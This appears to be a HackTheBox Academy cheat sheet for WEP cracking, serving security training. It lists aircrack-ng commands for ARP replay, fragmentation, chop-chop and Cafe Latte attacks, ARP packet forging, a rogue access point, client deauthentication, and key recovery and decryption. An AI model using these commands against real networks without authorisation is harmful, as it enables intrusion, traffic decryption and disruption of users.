HACKTHEBOX

WIRED EQUIVALENT PRIVACY ATTACKS

CHEAT SHEET

ARP Request Replay Attack

Command	Description
`sudo airmon-ng start wlan0`	Enable monitor mode.
`iwconfig`	Configure wireless interfaces / confirm monitor mode is enabled.
`sudo airodump-ng wlan0mon -c 1 -w WEP`	Scan for available Wi-Fi networks and their associated clients, saving the traffic to a capture file.
`sudo aireplay-ng -3 -b <AP_MAC> -h <Station_MAC> wlan0mon`	Launch ARP Request Replay attack.
`sudo aircrack-ng -b <AP_MAC> WEP-01.cap`	Crack the WEP key using the PTW statistical attack.

Fragmentation Attack

Command	Description
`sudo airmon-ng start wlan0`	Enable monitor mode.

Command	Description
`sudo airodump-ng wlan0mon -c 1 -w WEP`	Scan for available Wi-Fi networks and their associated clients, saving the traffic to a capture file.
`sudo aireplay-ng -5 -b <AP_MAC> -h <station_MAC> wlan0mon`	Initiate the fragmentation attak
`sudo tcpdump -s 0 -n -e -r replay_scr-0805-191842.cap`	Identify the source and destination IP addresses
`packetforge-ng -0 -a <AP_MAC> -h <Station_MAC> -k <AP_IP> -l <Station_IP> -y fragment-0805-191851.xor -w forgedarp.cap`	Forge an ARP request using the captured PRGA (.xor) bytes.
`sudo aireplay-ng -2 -r forgedarp.cap -h <Source_MAC> wlan0mon`	Inject the forged packet using interactive packet replay.
`sudo aireplay-ng -3 -b <AP_MAC> -h <Station_MAC> wlan0mon`	Launch ARP Request Replay attack (to accelerate IV generation.)
`sudo aircrack-ng -b <AP_MAC> WEP-01.cap`	Crack the WEP key using the PTW statistical attack.

Korek Chop Chop Attack

Command	Description
`sudo aireplay-ng -4 -b <AP_MAC> -h <Station_MAC> wlan0mon`	Start the Korek Chop Chop attack.
`sudo tcpdump -s 0 -n -e -r replay_dec-0805-221220.cap`	Identify the source and destination IP addresses.
`packetforge-ng -0 -a <AP_MAC> -h <Station_MAC> -k <AP_IP> -l <Station_IP> -y fragment-0805-191851.xor -w forgedarp.cap`	Forge an ARP request using the captured PRGA (.xor) bytes.
`sudo aireplay-ng -2 -r forgedarp.cap -h <Source_MAC> wlan0mon`	Inject the forged packet using interactive packet replay.

HTB ACADEMY CHEATSHEET

Command	Description
`sudo aireplay-ng -3 -b <AP_MAC> -h <Station_MAC> wlan0mon`	Launch ARP Request Replay attack (to accelerate IV generation.)
`sudo aircrack-ng -b <AP_MAC> WEP-01.cap`	Crack the WEP key using the PTW statistical attack.

The Cafe Latte Attack

Command	Description
`sudo aireplay-ng -6 -D -b <AP_MAC> -h <Station_MAC> wlan0mon`	Start the Cafe Latte attack.
`sudo airbase-ng -c 1 -a <AP_BSSID> -e "<AP_ESSID>" wlan0mon -W 1 -L`	Launch fake access point. Our rogue AP should have identical ESSID/BSSID as the target AP.
`sudo aireplay-ng -0 10 -a <AP_MAC> -c <Station_MAC> wlan0mon`	De-authenticate a connected station.
`sudo aircrack-ng -b <AP_MAC> WEP-01.cap`	Crack the WEP key using the PTW statistical attack.

Additional WEP Cracking

Command	Description
`aircrack-ng -S`	Benchmark CPU performance.
`sudo airodump-ng wlan0mon -c 1 -w HTB --ivs`	Capture only initialization vectors.
`aircrack-ng -K HTB.ivs`	Crack the WEP key using the Korek method.
`airdecap-ng -w <hex_key> WEP-01.cap`	Decrypt a WEP-encrypted capture file.

HTB ACADEMY CHEATSHEET

HTB ACADEMY CHEATSHEET